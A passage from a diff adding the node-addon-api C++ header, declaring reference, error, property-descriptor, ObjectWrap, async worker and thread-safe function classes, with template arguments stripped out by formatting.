ObjectReference : public Reference { + public: + ObjectReference(); + ObjectReference(napi_env env, napi_ref ref); + + // A reference can be moved but cannot be copied. + ObjectReference(Reference&& other); + ObjectReference& operator=(Reference&& other); + ObjectReference(ObjectReference&& other); + ObjectReference& operator=(ObjectReference&& other); + NAPI_DISALLOW_ASSIGN(ObjectReference) + + MaybeOrValue Get(const char* utf8name) const; + MaybeOrValue Get(const std::string& utf8name) const; + MaybeOrValue Set(const char* utf8name, napi_value value) const; + MaybeOrValue Set(const char* utf8name, Napi::Value value) const; + MaybeOrValue Set(const char* utf8name, const char* utf8value) const; + MaybeOrValue Set(const char* utf8name, bool boolValue) const; + MaybeOrValue Set(const char* utf8name, double numberValue) const; + MaybeOrValue Set(const std::string& utf8name, napi_value value) const; + MaybeOrValue Set(const std::string& utf8name, Napi::Value value) const; + MaybeOrValue Set(const std::string& utf8name, + std::string& utf8value) const; + MaybeOrValue Set(const std::string& utf8name, bool boolValue) const; + MaybeOrValue Set(const std::string& utf8name, double numberValue) const; + + MaybeOrValue Get(uint32_t index) const; + MaybeOrValue Set(uint32_t index, const napi_value value) const; + MaybeOrValue Set(uint32_t index, const Napi::Value value) const; + MaybeOrValue Set(uint32_t index, const char* utf8value) const; + MaybeOrValue Set(uint32_t index, const std::string& utf8value) const; + MaybeOrValue Set(uint32_t index, bool boolValue) const; + MaybeOrValue Set(uint32_t index, double numberValue) const; + + protected: + ObjectReference(const ObjectReference&); +}; + +class FunctionReference : public Reference { + public: + FunctionReference(); + FunctionReference(napi_env env, napi_ref ref); + + // A reference can be moved but cannot be copied. + FunctionReference(Reference&& other); + FunctionReference& operator=(Reference&& other); + FunctionReference(FunctionReference&& other); + FunctionReference& operator=(FunctionReference&& other); + NAPI_DISALLOW_ASSIGN_COPY(FunctionReference) + + MaybeOrValue operator()( + const std::initializer_list& args) const; + + MaybeOrValue Call( + const std::initializer_list& args) const; + MaybeOrValue Call(const std::vector& args) const; + MaybeOrValue Call( + napi_value recv, const std::initializer_list& args) const; + MaybeOrValue Call(napi_value recv, + const std::vector& args) const; + MaybeOrValue Call(napi_value recv, + size_t argc, + const napi_value* args) const; + + MaybeOrValue MakeCallback( + napi_value recv, + const std::initializer_list& args, + napi_async_context context = nullptr) const; + MaybeOrValue MakeCallback( + napi_value recv, + const std::vector& args, + napi_async_context context = nullptr) const; + MaybeOrValue MakeCallback( + napi_value recv, + size_t argc, + const napi_value* args, + napi_async_context context = nullptr) const; + + MaybeOrValue New(const std::initializer_list& args) const; + MaybeOrValue New(const std::vector& args) const; +}; + +// Shortcuts to creating a new reference with inferred type and refcount = 0. +template +Reference Weak(T value); +ObjectReference Weak(Object value); +FunctionReference Weak(Function value); + +// Shortcuts to creating a new reference with inferred type and refcount = 1. +template +Reference Persistent(T value); +ObjectReference Persistent(Object value); +FunctionReference Persistent(Function value); + +/// A persistent reference to a JavaScript error object. Use of this class +/// depends somewhat on whether C++ exceptions are enabled at compile time. +/// +/// ### Handling Errors With C++ Exceptions +/// +/// If C++ exceptions are enabled, then the `Error` class extends +/// `std::exception` and enables integrated error-handling for C++ exceptions +/// and JavaScript exceptions. +/// +/// If a Node-API call fails without executing any JavaScript code (for +/// example due to an invalid argument), then the Node-API wrapper +/// automatically converts and throws the error as a C++ exception of type +/// `Napi::Error`. Or if a JavaScript function called by C++ code via Node-API +/// throws a JavaScript exception, then the Node-API wrapper automatically +/// converts and throws it as a C++ exception of type `Napi::Error`. +/// +/// If a C++ exception of type `Napi::Error` escapes from a Node-API C++ +/// callback, then the Node-API wrapper automatically converts and throws it +/// as a JavaScript exception. Therefore, catching a C++ exception of type +/// `Napi::Error` prevents a JavaScript exception from being thrown. +/// +/// #### Example 1A - Throwing a C++ exception: +/// +/// Napi::Env env = ... +/// throw Napi::Error::New(env, "Example exception"); +/// +/// Following C++ statements will not be executed. The exception will bubble +/// up as a C++ exception of type `Napi::Error`, until it is either caught +/// while still in C++, or else automatically propataged as a JavaScript +/// exception when the callback returns to JavaScript. +/// +/// #### Example 2A - Propagating a Node-API C++ exception: +/// +/// Napi::Function jsFunctionThatThrows = someObj.As(); +/// Napi::Value result = jsFunctionThatThrows({ arg1, arg2 }); +/// +/// Following C++ statements will not be executed. The exception will bubble +/// up as a C++ exception of type `Napi::Error`, until it is either caught +/// while still in C++, or else automatically propagated as a JavaScript +/// exception when the callback returns to JavaScript. +/// +/// #### Example 3A - Handling a Node-API C++ exception: +/// +/// Napi::Function jsFunctionThatThrows = someObj.As(); +/// Napi::Value result; +/// try { +/// result = jsFunctionThatThrows({ arg1, arg2 }); +/// } catch (const Napi::Error& e) { +/// cerr << "Caught JavaScript exception: " + e.what(); +/// } +/// +/// Since the exception was caught here, it will not be propagated as a +/// JavaScript exception. +/// +/// ### Handling Errors Without C++ Exceptions +/// +/// If C++ exceptions are disabled (by defining `NAPI_DISABLE_CPP_EXCEPTIONS`) +/// then this class does not extend `std::exception`, and APIs in the `Napi` +/// namespace do not throw C++ exceptions when they fail. Instead, they raise +/// _pending_ JavaScript exceptions and return _empty_ `Value`s. Calling code +/// should check `Value::IsEmpty()` before attempting to use a returned value, +/// and may use methods on the `Env` class to check for, get, and clear a +/// pending JavaScript exception. If the pending exception is not cleared, it +/// will be thrown when the native callback returns to JavaScript. +/// +/// #### Example 1B - Throwing a JS exception +/// +/// Napi::Env env = ... +/// Napi::Error::New(env, "Example +/// exception").ThrowAsJavaScriptException(); return; +/// +/// After throwing a JS exception, the code should generally return +/// immediately from the native callback, after performing any necessary +/// cleanup. +/// +/// #### Example 2B - Propagating a Node-API JS exception: +/// +/// Napi::Function jsFunctionThatThrows = someObj.As(); +/// Napi::Value result = jsFunctionThatThrows({ arg1, arg2 }); +/// if (result.IsEmpty()) return; +/// +/// An empty value result from a Node-API call indicates an error occurred, +/// and a JavaScript exception is pending. To let the exception propagate, the +/// code should generally return immediately from the native callback, after +/// performing any necessary cleanup. +/// +/// #### Example 3B - Handling a Node-API JS exception: +/// +/// Napi::Function jsFunctionThatThrows = someObj.As(); +/// Napi::Value result = jsFunctionThatThrows({ arg1, arg2 }); +/// if (result.IsEmpty()) { +/// Napi::Error e = env.GetAndClearPendingException(); +/// cerr << "Caught JavaScript exception: " + e.Message(); +/// } +/// +/// Since the exception was cleared here, it will not be propagated as a +/// JavaScript exception after the native callback returns. +class Error : public ObjectReference +#ifdef NAPI_CPP_EXCEPTIONS + , + public std::exception +#endif // NAPI_CPP_EXCEPTIONS +{ + public: + static Error New(napi_env env); + static Error New(napi_env env, const char* message); + static Error New(napi_env env, const std::string& message); + + static NAPI_NO_RETURN void Fatal(const char* location, const char* message); + + Error(); + Error(napi_env env, napi_value value); + + // An error can be moved or copied. + Error(Error&& other); + Error& operator=(Error&& other); + Error(const Error&); + Error& operator=(const Error&); + + const std::string& Message() const NAPI_NOEXCEPT; + void ThrowAsJavaScriptException() const; + + Object Value() const; + +#ifdef NAPI_CPP_EXCEPTIONS + const char* what() const NAPI_NOEXCEPT override; +#endif // NAPI_CPP_EXCEPTIONS + + protected: + /// !cond INTERNAL + using create_error_fn = napi_status (*)(napi_env envb, + napi_value code, + napi_value msg, + napi_value* result); + + template + static TError New(napi_env env, + const char* message, + size_t length, + create_error_fn create_error); + /// !endcond + + private: + static inline const char* ERROR_WRAP_VALUE() NAPI_NOEXCEPT; + mutable std::string _message; +}; + +class TypeError : public Error { + public: + static TypeError New(napi_env env, const char* message); + static TypeError New(napi_env env, const std::string& message); + + TypeError(); + TypeError(napi_env env, napi_value value); +}; + +class RangeError : public Error { + public: + static RangeError New(napi_env env, const char* message); + static RangeError New(napi_env env, const std::string& message); + + RangeError(); + RangeError(napi_env env, napi_value value); +}; + +class CallbackInfo { + public: + CallbackInfo(napi_env env, napi_callback_info info); + ~CallbackInfo(); + + // Disallow copying to prevent multiple free of _dynamicArgs + NAPI_DISALLOW_ASSIGN_COPY(CallbackInfo) + + Napi::Env Env() const; + Value NewTarget() const; + bool IsConstructCall() const; + size_t Length() const; + const Value operator[](size_t index) const; + Value This() const; + void* Data() const; + void SetData(void* data); + explicit operator napi_callback_info() const; + + private: + const size_t _staticArgCount = 6; + napi_env _env; + napi_callback_info _info; + napi_value _this; + size_t _argc; + napi_value* _argv; + napi_value _staticArgs[6]; + napi_value* _dynamicArgs; + void* _data; +}; + +class PropertyDescriptor { + public: + using GetterCallback = Napi::Value (*)(const Napi::CallbackInfo& info); + using SetterCallback = void (*)(const Napi::CallbackInfo& info); + +#ifndef NODE_ADDON_API_DISABLE_DEPRECATED + template + static PropertyDescriptor Accessor( + const char* utf8name, + Getter getter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + const std::string& utf8name, + Getter getter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + napi_value name, + Getter getter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + Name name, + Getter getter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + const char* utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + const std::string& utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + napi_value name, + Getter getter, + Setter setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + Name name, + Getter getter, + Setter setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Function( + const char* utf8name, + Callable cb, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Function( + const std::string& utf8name, + Callable cb, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Function( + napi_value name, + Callable cb, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Function( + Name name, + Callable cb, + napi_property_attributes attributes = napi_default, + void* data = nullptr); +#endif // !NODE_ADDON_API_DISABLE_DEPRECATED + + template + static PropertyDescriptor Accessor( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + + template + static PropertyDescriptor Accessor( + const std::string& utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + + template + static PropertyDescriptor Accessor( + Name name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + + template + static PropertyDescriptor Accessor( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + + template + static PropertyDescriptor Accessor( + const std::string& utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + + template + static PropertyDescriptor Accessor( + Name name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + + template + static PropertyDescriptor Accessor( + Napi::Env env, + Napi::Object object, + const char* utf8name, + Getter getter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + Napi::Env env, + Napi::Object object, + const std::string& utf8name, + Getter getter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + Napi::Env env, + Napi::Object object, + Name name, + Getter getter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + Napi::Env env, + Napi::Object object, + const char* utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + Napi::Env env, + Napi::Object object, + const std::string& utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Accessor( + Napi::Env env, + Napi::Object object, + Name name, + Getter getter, + Setter setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Function( + Napi::Env env, + Napi::Object object, + const char* utf8name, + Callable cb, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Function( + Napi::Env env, + Napi::Object object, + const std::string& utf8name, + Callable cb, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor Function( + Napi::Env env, + Napi::Object object, + Name name, + Callable cb, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor Value( + const char* utf8name, + napi_value value, + napi_property_attributes attributes = napi_default); + static PropertyDescriptor Value( + const std::string& utf8name, + napi_value value, + napi_property_attributes attributes = napi_default); + static PropertyDescriptor Value( + napi_value name, + napi_value value, + napi_property_attributes attributes = napi_default); + static PropertyDescriptor Value( + Name name, + Napi::Value value, + napi_property_attributes attributes = napi_default); + + PropertyDescriptor(napi_property_descriptor desc); + + operator napi_property_descriptor&(); + operator const napi_property_descriptor&() const; + + private: + napi_property_descriptor _desc; +}; + +/// Property descriptor for use with `ObjectWrap::DefineClass()`. +/// +/// This is different from the standalone `PropertyDescriptor` because it is +/// specific to each `ObjectWrap` subclass. This prevents using descriptors +/// from a different class when defining a new class (preventing the callbacks +/// from having incorrect `this` pointers). +template +class ClassPropertyDescriptor { + public: + ClassPropertyDescriptor(napi_property_descriptor desc) : _desc(desc) {} + + operator napi_property_descriptor&() { return _desc; } + operator const napi_property_descriptor&() const { return _desc; } + + private: + napi_property_descriptor _desc; +}; + +template +struct MethodCallbackData { + TCallback callback; + void* data; +}; + +template +struct AccessorCallbackData { + TGetterCallback getterCallback; + TSetterCallback setterCallback; + void* data; +}; + +template +class InstanceWrap { + public: + using InstanceVoidMethodCallback = void (T::*)(const CallbackInfo& info); + using InstanceMethodCallback = Napi::Value (T::*)(const CallbackInfo& info); + using InstanceGetterCallback = Napi::Value (T::*)(const CallbackInfo& info); + using InstanceSetterCallback = void (T::*)(const CallbackInfo& info, + const Napi::Value& value); + + using PropertyDescriptor = ClassPropertyDescriptor; + + static PropertyDescriptor InstanceMethod( + const char* utf8name, + InstanceVoidMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor InstanceMethod( + const char* utf8name, + InstanceMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor InstanceMethod( + Symbol name, + InstanceVoidMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor InstanceMethod( + Symbol name, + InstanceMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor InstanceMethod( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor InstanceMethod( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor InstanceMethod( + Symbol name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor InstanceMethod( + Symbol name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor InstanceAccessor( + const char* utf8name, + InstanceGetterCallback getter, + InstanceSetterCallback setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor InstanceAccessor( + Symbol name, + InstanceGetterCallback getter, + InstanceSetterCallback setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor InstanceAccessor( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor InstanceAccessor( + Symbol name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor InstanceValue( + const char* utf8name, + Napi::Value value, + napi_property_attributes attributes = napi_default); + static PropertyDescriptor InstanceValue( + Symbol name, + Napi::Value value, + napi_property_attributes attributes = napi_default); + + protected: + static void AttachPropData(napi_env env, + napi_value value, + const napi_property_descriptor* prop); + + private: + using This = InstanceWrap; + + using InstanceVoidMethodCallbackData = + MethodCallbackData; + using InstanceMethodCallbackData = + MethodCallbackData; + using InstanceAccessorCallbackData = + AccessorCallbackData; + + static napi_value InstanceVoidMethodCallbackWrapper(napi_env env, + napi_callback_info info); + static napi_value InstanceMethodCallbackWrapper(napi_env env, + napi_callback_info info); + static napi_value InstanceGetterCallbackWrapper(napi_env env, + napi_callback_info info); + static napi_value InstanceSetterCallbackWrapper(napi_env env, + napi_callback_info info); + + template + static napi_value WrappedMethod(napi_env env, + napi_callback_info info) NAPI_NOEXCEPT; + + template + struct SetterTag {}; + + template + static napi_callback WrapSetter(SetterTag) NAPI_NOEXCEPT { + return &This::WrappedMethod; + } + static napi_callback WrapSetter(SetterTag) NAPI_NOEXCEPT { + return nullptr; + } +}; + +/// Base class to be extended by C++ classes exposed to JavaScript; each C++ +/// class instance gets "wrapped" by a JavaScript object that is managed by this +/// class. +/// +/// At initialization time, the `DefineClass()` method must be used to +/// hook up the accessor and method callbacks. It takes a list of +/// property descriptors, which can be constructed via the various +/// static methods on the base class. +/// +/// #### Example: +/// +/// class Example: public Napi::ObjectWrap { +/// public: +/// static void Initialize(Napi::Env& env, Napi::Object& target) { +/// Napi::Function constructor = DefineClass(env, "Example", { +/// InstanceAccessor<&Example::GetSomething, +/// &Example::SetSomething>("value"), +/// InstanceMethod<&Example::DoSomething>("doSomething"), +/// }); +/// target.Set("Example", constructor); +/// } +/// +/// Example(const Napi::CallbackInfo& info); // Constructor +/// Napi::Value GetSomething(const Napi::CallbackInfo& info); +/// void SetSomething(const Napi::CallbackInfo& info, const Napi::Value& +/// value); Napi::Value DoSomething(const Napi::CallbackInfo& info); +/// } +template +class ObjectWrap : public InstanceWrap, public Reference { + public: + ObjectWrap(const CallbackInfo& callbackInfo); + virtual ~ObjectWrap(); + + static T* Unwrap(Object wrapper); + + // Methods exposed to JavaScript must conform to one of these callback + // signatures. + using StaticVoidMethodCallback = void (*)(const CallbackInfo& info); + using StaticMethodCallback = Napi::Value (*)(const CallbackInfo& info); + using StaticGetterCallback = Napi::Value (*)(const CallbackInfo& info); + using StaticSetterCallback = void (*)(const CallbackInfo& info, + const Napi::Value& value); + + using PropertyDescriptor = ClassPropertyDescriptor; + + static Function DefineClass( + Napi::Env env, + const char* utf8name, + const std::initializer_list& properties, + void* data = nullptr); + static Function DefineClass(Napi::Env env, + const char* utf8name, + const std::vector& properties, + void* data = nullptr); + static PropertyDescriptor StaticMethod( + const char* utf8name, + StaticVoidMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor StaticMethod( + const char* utf8name, + StaticMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor StaticMethod( + Symbol name, + StaticVoidMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor StaticMethod( + Symbol name, + StaticMethodCallback method, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor StaticMethod( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor StaticMethod( + Symbol name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor StaticMethod( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor StaticMethod( + Symbol name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor StaticAccessor( + const char* utf8name, + StaticGetterCallback getter, + StaticSetterCallback setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor StaticAccessor( + Symbol name, + StaticGetterCallback getter, + StaticSetterCallback setter, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor StaticAccessor( + const char* utf8name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + template + static PropertyDescriptor StaticAccessor( + Symbol name, + napi_property_attributes attributes = napi_default, + void* data = nullptr); + static PropertyDescriptor StaticValue( + const char* utf8name, + Napi::Value value, + napi_property_attributes attributes = napi_default); + static PropertyDescriptor StaticValue( + Symbol name, + Napi::Value value, + napi_property_attributes attributes = napi_default); + static Napi::Value OnCalledAsFunction(const Napi::CallbackInfo& callbackInfo); + virtual void Finalize(Napi::Env env); + + private: + using This = ObjectWrap; + + static napi_value ConstructorCallbackWrapper(napi_env env, + napi_callback_info info); + static napi_value StaticVoidMethodCallbackWrapper(napi_env env, + napi_callback_info info); + static napi_value StaticMethodCallbackWrapper(napi_env env, + napi_callback_info info); + static napi_value StaticGetterCallbackWrapper(napi_env env, + napi_callback_info info); + static napi_value StaticSetterCallbackWrapper(napi_env env, + napi_callback_info info); + static void FinalizeCallback(napi_env env, void* data, void* hint); + static Function DefineClass(Napi::Env env, + const char* utf8name, + const size_t props_count, + const napi_property_descriptor* props, + void* data = nullptr); + + using StaticVoidMethodCallbackData = + MethodCallbackData; + using StaticMethodCallbackData = MethodCallbackData; + + using StaticAccessorCallbackData = + AccessorCallbackData; + + template + static napi_value WrappedMethod(napi_env env, + napi_callback_info info) NAPI_NOEXCEPT; + + template + struct StaticSetterTag {}; + + template + static napi_callback WrapStaticSetter(StaticSetterTag) NAPI_NOEXCEPT { + return &This::WrappedMethod; + } + static napi_callback WrapStaticSetter(StaticSetterTag) + NAPI_NOEXCEPT { + return nullptr; + } + + bool _construction_failed = true; +}; + +class HandleScope { + public: + HandleScope(napi_env env, napi_handle_scope scope); + explicit HandleScope(Napi::Env env); + ~HandleScope(); + + // Disallow copying to prevent double close of napi_handle_scope + NAPI_DISALLOW_ASSIGN_COPY(HandleScope) + + operator napi_handle_scope() const; + + Napi::Env Env() const; + + private: + napi_env _env; + napi_handle_scope _scope; +}; + +class EscapableHandleScope { + public: + EscapableHandleScope(napi_env env, napi_escapable_handle_scope scope); + explicit EscapableHandleScope(Napi::Env env); + ~EscapableHandleScope(); + + // Disallow copying to prevent double close of napi_escapable_handle_scope + NAPI_DISALLOW_ASSIGN_COPY(EscapableHandleScope) + + operator napi_escapable_handle_scope() const; + + Napi::Env Env() const; + Value Escape(napi_value escapee); + + private: + napi_env _env; + napi_escapable_handle_scope _scope; +}; + +#if (NAPI_VERSION > 2) +class CallbackScope { + public: + CallbackScope(napi_env env, napi_callback_scope scope); + CallbackScope(napi_env env, napi_async_context context); + virtual ~CallbackScope(); + + // Disallow copying to prevent double close of napi_callback_scope + NAPI_DISALLOW_ASSIGN_COPY(CallbackScope) + + operator napi_callback_scope() const; + + Napi::Env Env() const; + + private: + napi_env _env; + napi_callback_scope _scope; +}; +#endif + +class AsyncContext { + public: + explicit AsyncContext(napi_env env, const char* resource_name); + explicit AsyncContext(napi_env env, + const char* resource_name, + const Object& resource); + virtual ~AsyncContext(); + + AsyncContext(AsyncContext&& other); + AsyncContext& operator=(AsyncContext&& other); + NAPI_DISALLOW_ASSIGN_COPY(AsyncContext) + + operator napi_async_context() const; + + Napi::Env Env() const; + + private: + napi_env _env; + napi_async_context _context; +}; + +#if NAPI_HAS_THREADS +class AsyncWorker { + public: + virtual ~AsyncWorker(); + + NAPI_DISALLOW_ASSIGN_COPY(AsyncWorker) + + operator napi_async_work() const; + + Napi::Env Env() const; + + void Queue(); + void Cancel(); + void SuppressDestruct(); + + ObjectReference& Receiver(); + FunctionReference& Callback(); + + virtual void OnExecute(Napi::Env env); + virtual void OnWorkComplete(Napi::Env env, napi_status status); + + protected: + explicit AsyncWorker(const Function& callback); + explicit AsyncWorker(const Function& callback, const char* resource_name); + explicit AsyncWorker(const Function& callback, + const char* resource_name, + const Object& resource); + explicit AsyncWorker(const Object& receiver, const Function& callback); + explicit AsyncWorker(const Object& receiver, + const Function& callback, + const char* resource_name); + explicit AsyncWorker(const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource); + + explicit AsyncWorker(Napi::Env env); + explicit AsyncWorker(Napi::Env env, const char* resource_name); + explicit AsyncWorker(Napi::Env env, + const char* resource_name, + const Object& resource); + + virtual void Execute() = 0; + virtual void OnOK(); + virtual void OnError(const Error& e); + virtual void Destroy(); + virtual std::vector GetResult(Napi::Env env); + + void SetError(const std::string& error); + + private: + static inline void OnAsyncWorkExecute(napi_env env, void* asyncworker); + static inline void OnAsyncWorkComplete(napi_env env, + napi_status status, + void* asyncworker); + + napi_env _env; + napi_async_work _work; + ObjectReference _receiver; + FunctionReference _callback; + std::string _error; + bool _suppress_destruct; +}; +#endif // NAPI_HAS_THREADS + +#if (NAPI_VERSION > 3 && NAPI_HAS_THREADS) +class ThreadSafeFunction { + public: + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback, + FinalizerDataType* data); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback, + FinalizerDataType* data); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback); + + // This API may only be called from the main thread. + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data); + + ThreadSafeFunction(); + ThreadSafeFunction(napi_threadsafe_function tsFunctionValue); + + operator napi_threadsafe_function() const; + + // This API may be called from any thread. + napi_status BlockingCall() const; + + // This API may be called from any thread. + template + napi_status BlockingCall(Callback callback) const; + + // This API may be called from any thread. + template + napi_status BlockingCall(DataType* data, Callback callback) const; + + // This API may be called from any thread. + napi_status NonBlockingCall() const; + + // This API may be called from any thread. + template + napi_status NonBlockingCall(Callback callback) const; + + // This API may be called from any thread. + template + napi_status NonBlockingCall(DataType* data, Callback callback) const; + + // This API may only be called from the main thread. + void Ref(napi_env env) const; + + // This API may only be called from the main thread. + void Unref(napi_env env) const; + + // This API may be called from any thread. + napi_status Acquire() const; + + // This API may be called from any thread. + napi_status Release() const; + + // This API may be called from any thread. + napi_status Abort() const; + + struct ConvertibleContext { + template + operator T*() { + return static_cast(context); + } + void* context; + }; + + // This API may be called from any thread. + ConvertibleContext GetContext() const; + + private: + using CallbackWrapper = std::function; + + template + static ThreadSafeFunction New(napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data, + napi_finalize wrapper); + + napi_status CallInternal(CallbackWrapper* callbackWrapper, + napi_threadsafe_function_call_mode mode) const; + + static void CallJS(napi_env env, + napi_value jsCallback, + void* context, + void* data); + + napi_threadsafe_function _tsfn; +}; + +// A TypedThreadSafeFunction by default has no context (nullptr) and can +// accept any type (void) to its CallJs. +template +class TypedThreadSafeFunction { + public: + // This API may only be called from the main thread. + // Helper function that returns nullptr if running Node-API 5+, otherwise a + // non-empty, no-op Function. This provides the ability to specify at + // compile-time a callback parameter to `New` that safely does no action + // when targeting _any_ Node-API version. +#if NAPI_VERSION > 4 + static std::nullptr_t EmptyFunctionFactory(Napi::Env env); +#else + static Napi::Function EmptyFunctionFactory(Napi::Env env); +#endif + static Napi::Function FunctionOrEmpty(Napi::Env env, + Napi::Function& callback); + +#if NAPI_VERSION > 4 + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [missing] Resource [missing] Finalizer [missing] + template + static TypedThreadSafeFunction New( + napi_env env, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context = nullptr); + + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [missing] Resource [passed] Finalizer [missing] + template + static TypedThreadSafeFunction New( + napi_env env, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context = nullptr); + + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [missing] Resource [missing] Finalizer [passed] + template + static TypedThreadSafeFunction New( + napi_env env, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data = nullptr); + + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [missing] Resource [passed] Finalizer [passed] + template + static TypedThreadSafeFunction New( + napi_env env, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer 